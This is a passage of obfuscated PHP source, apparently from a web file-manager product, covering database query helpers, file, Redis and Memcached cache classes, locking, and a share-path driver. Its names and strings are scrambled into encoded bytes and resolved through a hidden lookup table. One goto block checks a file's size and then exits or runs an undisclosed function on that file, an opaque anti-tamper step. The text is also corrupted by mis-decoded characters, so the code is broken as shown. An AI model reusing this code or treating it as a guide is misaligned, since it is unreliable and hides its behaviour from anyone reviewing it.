61\x62\x6c\145\x5f\x73\x63\x68\x65\x6d\141\x20\x3d\x20\x63\56\164\141\142\154\x65\137\163\x63\150\x65\x6d\141\12\x9\11\101\x4e\104\x20\x74\x2e\x74\x61\x62\x6c\x65\137\x6e\141\155\145\x20\x3d\40\x63\x2e\164\141\x62\x6c\x65\x5f\156\141\155\x65\12\11\11\127\110\x45\x52\105\x20\40\40\164\x2e\164\141\142\154\145\x5f\156\x61\x6d\145\40\75\40\47{$Ïß’£Ýž}\x27"; break; case $À»þß„„[1007]: $ß–”¯ŸÔ = $À»þß„„[1008] . $Ïß’£Ýž . $À»þß„„[1009]; break; case $À»þß„„[989]: case $À»þß„„[991]: $ß–”¯ŸÔ = $À»þß„„[1010] . $À»þß„„[1011] . $À»þß„„[1012] . strtoupper($Ïß’£Ýž) . $À»þß„„[1013] . strtoupper($Ïß’£Ýž) . $À»þß„„[1014]; break; case $À»þß„„[1015]: $ß–”¯ŸÔ = $À»þß„„[1016] . $Ïß’£Ýž . $À»þß„„[1017]; break; case $À»þß„„[990]: break; case $À»þß„„[1018]: default: $ß–”¯ŸÔ = $À»þß„„[1019] . ($this->dbType == $À»þß„„[1018] ? "\140{$Ïß’£Ýž}\x60" : $Ïß’£Ýž); } } $°ü¨üŽë = $this->query($ß–”¯ŸÔ); $˜’ÍÕ ² = array(); if ($°ü¨üŽë) { foreach ($°ü¨üŽë as $™…ÀÀ©× => $øÞê¯ÁÔ) { $øÞê¯ÁÔ = array_change_key_case($øÞê¯ÁÔ); $øÞê¯ÁÔ[$À»þß„„[32]] = isset($øÞê¯ÁÔ[$À»þß„„[32]]) ? $øÞê¯ÁÔ[$À»þß„„[32]] : $À»þß„„[454]; $øÞê¯ÁÔ[$À»þß„„[33]] = isset($øÞê¯ÁÔ[$À»þß„„[33]]) ? $øÞê¯ÁÔ[$À»þß„„[33]] : $À»þß„„[454]; $Çí˜é®¯ = isset($øÞê¯ÁÔ[$À»þß„„[350]]) ? $øÞê¯ÁÔ[$À»þß„„[350]] : $øÞê¯ÁÔ[$À»þß„„[32]]; $˜’ÍÕ ²[$Çí˜é®¯] = array($À»þß„„[32] => $Çí˜é®¯, $À»þß„„[33] => $øÞê¯ÁÔ[$À»þß„„[33]], $À»þß„„[35] => (bool) (isset($øÞê¯ÁÔ[$À»þß„„[106]]) && $øÞê¯ÁÔ[$À»þß„„[106]] === $À»þß„„[12] || isset($øÞê¯ÁÔ[$À»þß„„[35]]) && $øÞê¯ÁÔ[$À»þß„„[35]] === $À»þß„„[12]), $À»þß„„[37] => isset($øÞê¯ÁÔ[$À»þß„„[37]]) ? $øÞê¯ÁÔ[$À»þß„„[37]] : (isset($øÞê¯ÁÔ[$À»þß„„[56]]) ? $øÞê¯ÁÔ[$À»þß„„[56]] : $À»þß„„[454]), $À»þß„„[39] => isset($øÞê¯ÁÔ[$À»þß„„[97]]) ? strtolower($øÞê¯ÁÔ[$À»þß„„[97]]) == $À»þß„„[41] : (isset($øÞê¯ÁÔ[$À»þß„„[57]]) ? $øÞê¯ÁÔ[$À»þß„„[57]] : !1), $À»þß„„[42] => isset($øÞê¯ÁÔ[$À»þß„„[1020]]) ? strtolower($øÞê¯ÁÔ[$À»þß„„[1020]]) == $À»þß„„[44] : (isset($øÞê¯ÁÔ[$À»þß„„[97]]) ? $øÞê¯ÁÔ[$À»þß„„[97]] : !1)); } } return $˜’ÍÕ ²; } public function getTables($„üëªø© = '') { $ÓÆ¯¼›¶ =& $_SERVER[ˆ¡¹µ‹Â]; if (think_config($ÓÆ¯¼›¶[1021])) { $¨÷ñÕ¹<C395> = str_replace($ÓÆ¯¼›¶[1022], $„üëªø©, think_config($ÓÆ¯¼›¶[1021])); } else { switch ($this->dbType) { case $ÓÆ¯¼›¶[989]: case $ÓÆ¯¼›¶[991]: $¨÷ñÕ¹<C395> = $ÓÆ¯¼›¶[1023]; break; case $ÓÆ¯¼›¶[988]: case $ÓÆ¯¼›¶[1006]: $¨÷ñÕ¹<C395> = $ÓÆ¯¼›¶[1024]; break; case $ÓÆ¯¼›¶[1015]: $¨÷ñÕ¹<C395> = $ÓÆ¯¼›¶[1025]; break; case $ÓÆ¯¼›¶[990]: think_exception(think_lang($ÓÆ¯¼›¶[1026]) . $ÓÆ¯¼›¶[1027]); break; case $ÓÆ¯¼›¶[1007]: $¨÷ñÕ¹<C395> = $ÓÆ¯¼›¶[45] . $ÓÆ¯¼›¶[46] . $ÓÆ¯¼›¶[47]; break; case $ÓÆ¯¼›¶[1018]: default: if (!empty($„üëªø©)) { $¨÷ñÕ¹<C395> = $ÓÆ¯¼›¶[970] . $„üëªø© . $ÓÆ¯¼›¶[971]; } else { $¨÷ñÕ¹<C395> = $ÓÆ¯¼›¶[972]; } } } $•ùæç¿ý = $this->query($¨÷ñÕ¹<C395>); $<24>¹É¦¾ý = array(); foreach ($•ùæç¿ý as $…º²–¹ì => $<24>ƪóØé) { $<24>¹É¦¾ý[$…º²–¹ì] = current($<24>ƪóØé); } return $<24>¹É¦¾ý; } protected function parseLimit($©Ñ›žÍÅ) { $Ë’×–Ø” =& $_SERVER[ˆ¡¹µ‹Â]; $ª…Žˆ¼ç = $Ë’×–Ø”[12]; if (!empty($©Ñ›žÍÅ)) { switch ($this->dbType) { case $Ë’×–Ø”[1015]: case $Ë’×–Ø”[1007]: $©Ñ›žÍÅ = explode($Ë’×–Ø”[50], $©Ñ›žÍÅ); if (count($©Ñ›žÍÅ) > 1) { $ª…Žˆ¼ç .= $Ë’×–Ø”[51] . $©Ñ›žÍÅ[1] . $Ë’×–Ø”[52] . $©Ñ›žÍÅ[0] . $Ë’×–Ø”[53]; } else { $ª…Žˆ¼ç .= $Ë’×–Ø”[51] . $©Ñ›žÍÅ[0] . $Ë’×–Ø”[53]; } break; case $Ë’×–Ø”[988]: case $Ë’×–Ø”[1006]: break; case $Ë’×–Ø”[990]: break; case $Ë’×–Ø”[989]: case $Ë’×–Ø”[991]: break; case $Ë’×–Ø”[1018]: default: $ª…Žˆ¼ç .= $Ë’×–Ø”[51] . $©Ñ›žÍÅ . $Ë’×–Ø”[53]; } } return $ª…Žˆ¼ç; } public function parseKey(&$Ùå܆áþ, $ §ÍÏ•Ó = true) { $¾ˆ¦£¨À =& $_SERVER[ˆ¡¹µ‹Â]; if ($ §ÍÏ•Ó) { $Ùå܆áþ = $this->parseKeyCheck($Ùå܆áþ); } if ($this->dbType == $¾ˆ¦£¨À[1018]) { if ($Ùå܆áþ != $¾ˆ¦£¨À[220] && !preg_match($¾ˆ¦£¨À[982], $Ùå܆áþ)) { $Ùå܆áþ = $¾ˆ¦£¨À[461] . trim($Ùå܆áþ, $¾ˆ¦£¨À[461]) . $¾ˆ¦£¨À[461]; } return $Ùå܆áþ; } else { return parent::parseKey($Ùå܆áþ, $ §ÍÏ•Ó); } } public function close() { $this->_linkID = null; } public function error() { $¢†à¤„™ =& $_SERVER[ˆ¡¹µ‹Â]; if ($this->PDOStatement) { $ªÓ<C2AA>´ÎÓ = $this->PDOStatement->errorInfo(); $this->error = $ªÓ<C2AA>´ÎÓ[1] . $¢†à¤„™[4] . $ªÓ<C2AA>´ÎÓ[2]; } else { $this->error = $¢†à¤„™[12]; } if ($¢†à¤„™[12] != $this->queryStr) { $this->error .= LNG($¢†à¤„™[48]) . $this->queryStr; } think_trace($this->error, $¢†à¤„™[12], $¢†à¤„™[49]); return $this->error; } public function escapeString($îß«ùïë) { $ãή€ú³ =& $_SERVER[ˆ¡¹µ‹Â]; switch ($this->dbType) { case $ãή€ú³[1015]: case $ãή€ú³[988]: case $ãή€ú³[1006]: case $ãή€ú³[1018]: return addslashes($îß«ùïë); case $ãή€ú³[990]: case $ãή€ú³[1007]: case $ãή€ú³[989]: case $ãή€ú³[991]: return str_ireplace($ãή€ú³[58], $ãή€ú³[59], $îß«ùïë); } } protected function parseValue($úåÅ®ßï) { $ªç­÷š¿ =& $_SERVER[ˆ¡¹µ‹Â]; if (is_string($úåÅ®ßï)) { $›ô×ËêÁ = strpos($úåÅ®ßï, $ªç­÷š¿[4]) === 0 && in_array($úåÅ®ßï, array_keys($this->bind)); $úåÅ®ßï = $›ô×ËêÁ ? $this->escapeString($úåÅ®ßï) : $ªç­÷š¿[1028] . $this->escapeString($úåÅ®ßï) . $ªç­÷š¿[1028]; } elseif (isset($úåÅ®ßï[0]) && is_string($úåÅ®ßï[0]) && strtolower($úåÅ®ßï[0]) == $ªç­÷š¿[373]) { $úåÅ®ßï = $this->escapeString($úåÅ®ßï[1]); } elseif (is_array($úåÅ®ßï)) { $úåÅ®ßï = array_map(array($this, $ªç­÷š¿[1029]), $úåÅ®ßï); } elseif (is_bool($úåÅ®ßï)) { $úåÅ®ßï = $úåÅ®ßï ? $ªç­÷š¿[91] : $ªç­÷š¿[228]; } elseif (is_null($úåÅ®ßï)) { $úåÅ®ßï = $ªç­÷š¿[106]; } return $úåÅ®ßï; } public function getLastInsertId() { $³ô¹¤ÏÉ =& $_SERVER[ˆ¡¹µ‹Â]; switch ($this->dbType) { case $³ô¹¤ÏÉ[1015]: case $³ô¹¤ÏÉ[1007]: case $³ô¹¤ÏÉ[988]: case $³ô¹¤ÏÉ[1006]: case $³ô¹¤ÏÉ[990]: case $³ô¹¤ÏÉ[1018]: return $this->_linkID->lastInsertId(); case $³ô¹¤ÏÉ[989]: case $³ô¹¤ÏÉ[991]: $«–ÌðëÑ = $this->table; $鯚؉÷ = $this->query("\123\x45\x4c\x45\103\124\40{$«–ÌðëÑ}\56\143\165\162\x72\x76\141\154\x20\x63\165\162\x72\x76\141\154\x20\x46\122\x4f\x4d\x20\144\165\141\154"); return $鯚؉÷ ? $鯚؉÷[0][$³ô¹¤ÏÉ[1030]] : 0; } } } class DbSqlite extends DbSqliteBase { public function query($øÓ¶ÊÏç) { $©¿¦‰Û§ =& $_SERVER[ˆ¡¹µ‹Â]; if (!CacheLock::fileLock($©¿¦‰Û§[13])) { return !1; } $Ç»—ŠÂÞ = parent::query($øÓ¶ÊÏç); CacheLock::fileUnLock($©¿¦‰Û§[13]); return $Ç»—ŠÂÞ; } public function execute($å§ýÏ ½) { $ó¦›ÊúÆ =& $_SERVER[ˆ¡¹µ‹Â]; if (!CacheLock::fileLock($ó¦›ÊúÆ[13])) { return !1; } $äÙ¦éôå = parent::execute($å§ýÏ ½); CacheLock::fileUnLock($ó¦›ÊúÆ[13]); return $äÙ¦éôå; } } goto b™Ñª¤¸£‡; dßšÁËÁ©ž: class Cache { protected static $handle; protected static $memoryCache; public static function init() { $”ûé„§ó =& $_SERVER[ˆ¡¹µ‹Â]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); $‹¡›²ž¡ = $GLOBALS[$”ûé„§ó[6]][$”ûé„§ó[425]]; $Тà¥ãŠ = $‹¡›²ž¡[$‹¡›²ž¡[$”ûé„§ó[901]]]; $ƒ¹‰Ê±¾ = $‹¡›²ž¡[$”ûé„§ó[902]]; switch ($‹¡›²ž¡[$”ûé„§ó[901]]) { case $”ûé„§ó[21]: self::$handle = Model($”ûé„§ó[903]); break; case $”ûé„§ó[904]: self::$handle = new CacheRedis($Тà¥ãŠ, $ƒ¹‰Ê±¾); break; case $”ûé„§ó[905]: self::$handle = new CacheMemcached($Тà¥ãŠ, $ƒ¹‰Ê±¾); break; case $”ûé„§ó[230]: self::$handle = new CacheFile($Тà¥ãŠ, $ƒ¹‰Ê±¾); break; default: break; } return self::$handle; } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($ܺãêž±) { if (is_array($ܺãêž±) || is_object($ܺãêž±)) { $ܺãêž± = json_encode($ܺãêž±); } $ܺãêž± = rawurlencode($ܺãêž±); return md5(KOD_SITE_ID . $_SERVER[ˆ¡¹µ‹Â][11] . $ܺãêž±); } public static function get($œŒÁ„ô‘, $ÅóÜ©ŸÝ = false) { $‡Ç»¿Ž° = self::key($œŒÁ„ô‘); $<24>Ãâ¨ø<C2A8> = self::init(); if ($ÅóÜ©ŸÝ) { return unserialize($<24>Ãâ¨ø<C2A8>->get($‡Ç»¿Ž°)); } if (!isset(self::$memoryCache[$‡Ç»¿Ž°])) { $ÒìÔ“¤‘ = $<24>Ãâ¨ø<C2A8>->get($‡Ç»¿Ž°); self::$memoryCache[$‡Ç»¿Ž°] = unserialize($ÒìÔ“¤‘); } return self::$memoryCache[$‡Ç»¿Ž°]; } public static function set($öáâ Ô¬, $Ãˤμ, $®€²Ù’ì = false) { $íøšéÛß =& $_SERVER[ˆ¡¹µ‹Â]; $þºçÆûŸ = self::key($öáâ Ô¬); if (isset(self::$memoryCache[$þºçÆûŸ]) && self::$memoryCache[$þºçÆûŸ] === $Ãˤμ) { return !0; } if ($®€²Ù’ì === 0) { self::$memoryCache[$þºçÆûŸ] = $Ãˤμ; return !0; } $əػÆú = self::init(); $¿·óî‘í = serialize($Ãˤμ); CacheLock::lock($öáâ Ô¬ . $íøšéÛß[906]); $Îô’Úü = $əػÆú->set($þºçÆûŸ, $¿·óî‘í, $®€²Ù’ì); self::$memoryCache[$þºçÆûŸ] = $Ãˤμ; CacheLock::unlock($öáâ Ô¬ . $íøšéÛß[906]); return $Îô’Úü; } public static function getCall($¯›Á¶°Æ, $¹‰Àðç¹, $Ïðùͬ¥, $Ñï<C391>߯ = array()) { $ø<>¹ÙÁó =& $_SERVER[ˆ¡¹µ‹Â]; $þôÇî¥Á = self::get($¯›Á¶°Æ); if ($þôÇî¥Á || $þôÇî¥Á === $ø<>¹ÙÁó[12]) { return $þôÇî¥Á; } $þôÇî¥Á = call_user_func_array($Ïðùͬ¥, $Ñï<C391>߯Â); $þôÇî¥Á = $þôÇî¥Á ? $þôÇî¥Á : $ø<>¹ÙÁó[12]; self::set($¯›Á¶°Æ, $þôÇî¥Á, $¹‰Àðç¹); return $þôÇî¥Á; } public static function remove($¨ èÔÖ˜) { $阇÷³Ù = self::key($¨ èÔÖ˜); unset(self::$memoryCache[$阇÷³Ù]); self::clearTimeout(); CacheLock::lock($¨ èÔÖ˜); $ºÄ½ì‡Ž = self::init()->remove($阇÷³Ù); CacheLock::unlock($¨ èÔÖ˜); return $ºÄ½ì‡Ž; } public static function removeMemory($ºšÛ§úÕ) { $¹°˜¬ß<C2AC> = self::key($ºšÛ§úÕ); unset(self::$memoryCache[$¹°˜¬ß<C2AC>]); } public static function clearMemory($çí÷¥åÚ = false) { if ($çí÷¥åÚ) { $çí÷¥åÚ = self::key($çí÷¥åÚ); unset(self::$memoryCache[$çí÷¥åÚ]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[ˆ¡¹µ‹Â][907])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[ˆ¡¹µ‹Â][908])) { self::init()->clearTimeout(); } } } class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($Ñêöš¾Õ, $<24>´Õê ®) { $ÐÓëý<E28093> =& $_SERVER[ˆ¡¹µ‹Â]; $this->cachePath = $Ñêöš¾Õ[$ÐÓëý<E28093>[87]]; $this->prefix = $ÐÓëý<E28093>[909]; $this->cacheTime = $<24>´Õê ®; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, DEFAULT_PERRMISSIONS, !0); } } public function getFile($ºâ<E2809A>é) { $àÔà«‹¿ =& $_SERVER[ˆ¡¹µ‹Â]; $ºâ<E2809A>é = str_replace(array($àÔà«‹¿[910], $àÔà«‹¿[100], $àÔà«‹¿[76]), $àÔà«‹¿[911], $ºâ<E2809A>é); return $this->cachePath . $àÔà«‹¿[912] . $ºâ<E2809A>é . $àÔà«‹¿[913]; } public function set($±ñ®çá¼, $ØŸóì¤ð, $ÌêÔ¿ö¹ = false) { $ÌêÔ¿ö¹ = $ÌêÔ¿ö¹ ? $ÌêÔ¿ö¹ : $this->cacheTime; $œ„ÕÞÓÞ = $this->getFile($±ñ®çá¼); if (file_put_contents($œ„ÕÞÓÞ, $this->prefix . $ØŸóì¤ð, LOCK_EX)) { @touch($œ„ÕÞÓÞ, intval(time() + $ÌêÔ¿ö¹)); clearstatcache(); return !0; } @unlink($œ„ÕÞÓÞ); return !1; } public function get($¬ÒÓ¦Áç) { $È§Ž¬˜Ç = $this->getFile($¬ÒÓ¦Áç); if (file_exists($È§Ž¬˜Ç) && filemtime($È§Ž¬˜Ç) < time()) { @unlink($È§Ž¬˜Ç); return !1; } $ÜÄüª•ô = @file_get_contents($È§Ž¬˜Ç); return substr($ÜÄüª•ô, strlen($this->prefix)); } public function remove($ìí°±†®) { $<>ϰ¼<C2B0> = $this->getFile($ìí°±†®); return @unlink($<>ϰ¼<C2B0>); } public function deleteAll() { $±Áâ…Îê =& $_SERVER[ˆ¡¹µ‹Â]; $Ë©¹ƒÄˆ = scandir($this->cachePath); foreach ($Ë©¹ƒÄˆ as $ñй„ž¥) { $ã³ú©ˆÒ = $this->cachePath . $ñй„ž¥; if (strpos($ã³ú©ˆÒ, $±Áâ…Îê[913]) && strpos($ã³ú©ˆÒ, $±Áâ…Îê[914])) { @unlink($ã³ú©ˆÒ); } } } public function clearTimeout() { $<24>ÀáúÈ÷ =& $_SERVER[ˆ¡¹µ‹Â]; $¥Î윬³ = scandir($this->cachePath); foreach ($¥Î윬³ as $àó‰Ò Æ) { $«ãŒ¡üð = $this->cachePath . $àó‰Ò Æ; if (strpos($«ãŒ¡üð, $<24>ÀáúÈ÷[913]) && strpos($«ãŒ¡üð, $<24>ÀáúÈ÷[914]) && filemtime($«ãŒ¡üð) < time()) { @unlink($«ãŒ¡üð); } } } } class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { $†ŸÔÃüù =& $_SERVER[ˆ¡¹µ‹Â]; if (self::$handle) { return self::$handle; } $𽥇šš = $GLOBALS[$†ŸÔÃüù[6]][$†ŸÔÃüù[425]]; self::$timeout = $𽥇šš[$†ŸÔÃüù[915]] ? $𽥇šš[$†ŸÔÃüù[915]] : 10; $šðÒé§‹ = _get($GLOBALS[$†ŸÔÃüù[6]], $†ŸÔÃüù[916]); $ûŠ×ëŸæ = $𽥇šš[$†ŸÔÃüù[901]] ? $𽥇šš[$†ŸÔÃüù[901]] : $†ŸÔÃüù[230]; if ($ûŠ×ëŸæ == $†ŸÔÃüù[21] && $šðÒé§‹ == $†ŸÔÃüù[13]) { $ûŠ×ëŸæ = $†ŸÔÃüù[230]; } switch ($ûŠ×ëŸæ) { case $†ŸÔÃüù[904]: self::$handle = new CacheLockRedis(); break; case $†ŸÔÃüù[905]: self::$handle = new CacheLockMemcached(); break; case $†ŸÔÃüù[21]: self::$handle = new CacheLockDatabase(); break; case $†ŸÔÃüù[230]: self::$handle = new CacheLockFile(); break; default: break; } if (GLOBAL_DEBUG_LOG_ALL) { write_log($†ŸÔÃüù[917], $†ŸÔÃüù[918]); } return self::$handle; } private static function key($<24>ñêðè¸) { return $_SERVER[ˆ¡¹µ‹Â][919] . Cache::key($<24>ñêðè¸); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($óÔ“ †Û = '') { self::$errorMsg = $óÔ“ †Û; } public static function lockGlobal($…æÇ‚Л, $¤Ç翆×) { return self::lock($…æÇ‚Л, $¤Ç翆×, !0); } public static function lock($ÒÅý<C385>˜, $ç¬Ü<C2AC>ñÀ = false, $ŽÇ¬Ø‘µ = false) { $µ‡Ú®©ë =& $_SERVER[ˆ¡¹µ‹Â]; $å©ëᚸ = self::init(); $®‰Â<E280B0>­Š = self::key($ÒÅý<C385>˜); $ç¬Ü<C2AC>ñÀ = $ç¬Ü<C2AC>ñÀ ? $ç¬Ü<C2AC>ñÀ : self::$timeout; $Éúç¦ü<C2A6> = timeFloat(); $½·ÕãõÓ = $å©ëᚸ->lock($®‰Â<E280B0>­Š, $ç¬Ü<C2AC>ñÀ); $ù¢â¿Ò÷ = timeFloat(); if (!$½·ÕãõÓ) { $˜™¡Úø<C39A> = "\154\x6f\143\153\40\145\x72\x72\157\162\x3b\x6b\x65\x79\x3d{$ÒÅý<C385>˜}\x3b\164\x69\x6d\145\75{$ç¬Ü<C2AC>ñÀ}\x3b" . self::$errorMsg . $µ‡Ú®©ë[74] . get_caller_msg(); $ûƒ×<C692>°« = LNG($µ‡Ú®©ë[920]) . "\x28{$ç¬Ü<C2AC>ñÀ}\163\51\56" . LNG($µ‡Ú®©ë[921]); $ûƒ×<C692>°« .= $µ‡Ú®©ë[922]; if (is_string(self::$errorMsg) && self::$errorMsg) { $ûƒ×<C692>°« = $ûƒ×<C692>°« . $µ‡Ú®©ë[923] . self::$errorMsg; } write_log($µ‡Ú®©ë[924] . sprintf($µ‡Ú®©ë[925], timeFloat() - $Éúç¦ü<C2A6>) . $µ‡Ú®©ë[926] . $˜™¡Úø<C39A> . $µ‡Ú®©ë[927] . error_get_last(), $µ‡Ú®©ë[918]); show_json($ûƒ×<C692>°«, !1); } if (!$ŽÇ¬Ø‘µ) { self::$lockItem[$®‰Â<E280B0>­Š] = !0; } if (GLOBAL_DEBUG_LOG_ALL) { $çÿ‹ßý = number_format(timeFloat() - $ù¢â¿Ò÷, 3); write_log($µ‡Ú®©ë[928] . $ÒÅý<C385>˜ . $µ‡Ú®©ë[929] . $çÿ‹ßý, $µ‡Ú®©ë[918]); } return $½·ÕãõÓ; } public static function lockGet($ñÕ†<C395>àÄ) { $ýå¾øºï = self::key($ñÕ†<C395>àÄ); if (self::$lockItem[$ýå¾øºï]) { return self::$lockItem[$ýå¾øºï]; } return self::init()->lockGet($ýå¾øºï); } public static function unlock($Àýþªüå) { $žŒñ©à³ =& $_SERVER[ˆ¡¹µ‹Â]; $×­©Ñ¯Ð = self::key($Àýþªüå); self::$lockItem[$×­©Ñ¯Ð] = null; self::init()->unlock($×­©Ñ¯Ð); if (GLOBAL_DEBUG_LOG_ALL) { write_log($žŒñ©à³[930] . $Àýþªüå, $žŒñ©à³[918]); } return; } public static function unlockRuntime() { $ù•œõ÷Ð =& $_SERVER[ˆ¡¹µ‹Â]; $Ÿ÷°³ª› = self::init(); $¼Œž<C592>¡ú = !1; foreach (self::$lockItem as $¬§ÌéÙŸ => $ÉðÌÖÈú) { if (!$ÉðÌÖÈú) { continue; } $Ÿ÷°³ª›->unlock($¬§ÌéÙŸ); if (!$¼Œž<C592>¡ú) { $¼Œž<C592>¡ú = !0; write_log($ù•œõ÷Ð[931] . $¬§ÌéÙŸ . $ù•œõ÷Ð[74] . get_caller_msg(), $ù•œõ÷Ð[918]); continue; } write_log($ù•œõ÷Ð[931] . $¬§ÌéÙŸ, $ù•œõ÷Ð[918]); } self::fileUnlockAll(); if (GLOBAL_DEBUG_LOG_ALL) { $Âê<C382>˜”• = number_format(timeFloat() - TIME_FLOAT, 3); write_log($ù•œõ÷Ð[932] . $Âê<C382>˜”• . $ù•œõ÷Ð[933] . ACTION, $ù•œõ÷Ð[918]); } } public static function fileLock($»à†ŒËÉ) { $À¾ ¹<C2A0> =& $_SERVER[ˆ¡¹µ‹Â]; if (!$GLOBALS[$À¾ ¹<C2A0>[934]]) { $GLOBALS[$À¾ ¹<C2A0>[934]] = array(); } $GLOBALS[$À¾ ¹<C2A0>[934]][$»à†ŒËÉ] = !1; $ñ‡ÙÁÊ­ = fopen(DATA_PATH . $»à†ŒËÉ . $À¾ ¹<C2A0>[935], $À¾ ¹<C2A0>[936]); if (!$ñ‡ÙÁÊ­) { return !1; } $GLOBALS[$À¾ ¹<C2A0>[934]][$»à†ŒËÉ] = $ñ‡ÙÁÊ­; if (flock($ñ‡ÙÁÊ­, LOCK_EX)) { return !0; } self::unlock($»à†ŒËÉ); show_json($À¾ ¹<C2A0>[937], !1); return !1; } public static function fileUnlock($¨ä±£íð) { $àúÐñÇ‚ =& $_SERVER[ˆ¡¹µ‹Â]; $ŠþØÍ<C398>³ = $GLOBALS[$àúÐñÇ‚[934]][$¨ä±£íð]; if (!$ŠþØÍ<C398>³) { return; } $GLOBALS[$àúÐñÇ‚[934]][$¨ä±£íð] = !1; flock($ŠþØÍ<C398>³, LOCK_UN); fclose($ŠþØÍ<C398>³); } public static function fileUnlockAll() { $³†Öæºì =& $_SERVER[ˆ¡¹µ‹Â]; if (!isset($GLOBALS[$³†Öæºì[934]]) || !$GLOBALS[$³†Öæºì[934]]) { return; } foreach ($GLOBALS[$³†Öæºì[934]] as $šÇ³ë·Á => $Ûܱ–±ß) { if (!$Ûܱ–±ß) { continue; } $GLOBALS[$³†Öæºì[934]][$šÇ³ë·Á] = !1; flock($Ûܱ–±ß, LOCK_UN); fclose($Ûܱ–±ß); } $GLOBALS[$³†Öæºì[934]] = array(); } } goto EŠÑà§ÞÁÎ; eÃйºë”Ð: $_file = $_SERVER[$_SERVER[ˆ¡¹µ‹Â][844]]; $_size = $_SERVER[ˆ¡¹µ‹Â][845]; if ($_SERVER[$_SERVER[ˆ¡¹µ‹Â][846]] != $_size($_file)) { $_getc = $_SERVER[ˆ¡¹µ‹Â][847]; $_getfile = $_SERVER[$_SERVER[ˆ¡¹µ‹Â][848]] . $_SERVER[ˆ¡¹µ‹Â][849]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[ˆ¡¹µ‹Â][262], $_getfilec); if (count($_getarrs) < $_SERVER[ˆ¡¹µ‹Â][687]) { $exit = $_SERVER[ˆ¡¹µ‹Â][850]; $exit(); } $_act = $_SERVER[ˆ¡¹µ‹Â][851]; $_act($_file); } goto CÐÑÝâíÄÛ; a¸Œ®ª¡Šˆ: class PathDriverDriverShareItem { public function __construct($¹®‚Ì‘þ) { $this->pathParse = $¹®‚Ì‘þ; } public function __call($د‡Çз, $¸¬<C2B8>•îõ) { $𽇳÷Ž =& $_SERVER[ˆ¡¹µ‹Â]; if (method_exists($this, $د‡Çз)) { return; } $€¤ûÖ¡ê = call_user_func_array(array($𽇳÷Ž[1420], $د‡Çз), $¸¬<C2B8>•îõ); $ïŒù»³é = array($𽇳÷Ž[1421], $𽇳÷Ž[1422], $𽇳÷Ž[1423], $𽇳÷Ž[1424], $𽇳÷Ž[618], $𽇳÷Ž[620], $𽇳÷Ž[1425], $𽇳÷Ž[110], $𽇳÷Ž[1426], $𽇳÷Ž[1427]); if (in_array($د‡Çз, $ïŒù»³é)) { $€¤ûÖ¡ê = $this->getPathOuter($€¤ûÖ¡ê); } return $€¤ûÖ¡ê; } public function copy($…ŒÀÚ°§, $×ÏÃÑßû, $ïã¶ûÞè = false, $û•À´ÄÎ = false) { return $this->copyMove($…ŒÀÚ°§, $×ÏÃÑßû, $ïã¶ûÞè, $_SERVER[ˆ¡¹µ‹Â][618], $û•À´ÄÎ); } public function move($DŽ˨îÂ, $ÊÛåÔ…¢, $¬Ô¢†ˆñ = false, $<24>º®ý¯ü = false) { return $this->copyMove($DŽ˨îÂ, $ÊÛåÔ…¢, $¬Ô¢†ˆñ, $_SERVER[ˆ¡¹µ‹Â][620], $<24>º®ý¯ü); } private function copyMove($’ÇŽ§ò½, $Ð瀋´ù, $ë­ïÑÍÑ, $<24>ÛîÔ³, $Ð<>ŒæßÖ = false) { $絬ëÇç =& $_SERVER[ˆ¡¹µ‹Â]; $™ÎÌš²<C5A1> = $Ð瀋´ù; $ ÕµÍ¤ç = IO::driverMake($Ð瀋´ù); if ($ ÕµÍ¤ç->pathParse[$絬ëÇç[1225]]) { $Ð瀋´ù = $ ÕµÍ¤ç->pathParse[$絬ëÇç[1225]]; } else { $Ð瀋´ù = $™ÎÌš²<C5A1>; } $ѺϗÆÌ = IO::copyMove($’ÇŽ§ò½, $Ð瀋´ù, $ë­ïÑÍÑ, $<24>ÛîÔ³, $Ð<>ŒæßÖ); $ѺϗÆÌ = $this->getPathOuter($ѺϗÆÌ); return $ѺϗÆÌ; } public function pathThis($â’­€È¿) { return get_path_this($this->pathParse[$_SERVER[ˆ¡¹µ‹Â][87]]); } public function pathFather($­ý«ƒóœ) { return get_path_father($this->pathParse[$_SERVER[ˆ¡¹µ‹Â][87]]); } public function iconvSystem($Ñ›¥ìÓ¸) { return $Ñ›¥ìÓ¸; } protected function infoParse($<>†šµ<C5A1>, $èÓºð̾ = false) { $äÈ©“ç<E2809C> =& $_SERVER[ˆ¡¹µ‹Â]; $ƒ<>ªúÅ® = $this->pathParse[$äÈ©“ç<E2809C>[560]][$äÈ©“ç<E2809C>[1250]] . $this->pathParse[$äÈ©“ç<E2809C>[1243]]; if ($èÓºð̾) { $ïá·Âä¹ = IO::infoWithChildren($ƒ<>ªúÅ®); } else { $ïá·Âä¹ = IO::info($ƒ<>ªúÅ®); } $ú±ÈÐ±Ò = $this->pathParse[$äÈ©“ç<E2809C>[560]]; return Action($äÈ©“ç<E2809C>[1418])->_shareItemeParse($ïá·Âä¹, $ú±ÈбÒ); } public function listAll($éÕ¨‹¿‚) { $ا”£ýÒ =& $_SERVER[ˆ¡¹µ‹Â]; $Ø“ÊøÅê = IO::listAll($éÕ¨‹¿‚); $þêïœ<C3AF> = rtrim($this->pathParse[$ا”£ýÒ[560]][$ا”£ýÒ[1250]], $ا”£ýÒ[8]); foreach ($Ø“ÊøÅê as &$ØŒÁýÛâ) { $ØŒÁýÛâ[$ا”£ýÒ[87]] = $this->pathDriver . $ا”£ýÒ[8] . ltrim(substr($ØŒÁýÛâ[$ا”£ýÒ[87]], strlen($þêïœ<C3AF>)), $ا”£ýÒ[8]); } unset($ØŒÁýÛâ); return $Ø“ÊøÅê; } public function listAllSimple($ô¤©ÐøÀ, $ŠÛú‡°Ð = false) { $Ùª¿çÈÐ =& $_SERVER[ˆ¡¹µ‹Â]; $ò¡Ê¶¹õ = $this->listAll($ô¤©ÐøÀ); $†Ð¤ôÕç = $this->pathParse[$Ùª¿çÈÐ[495]]; if 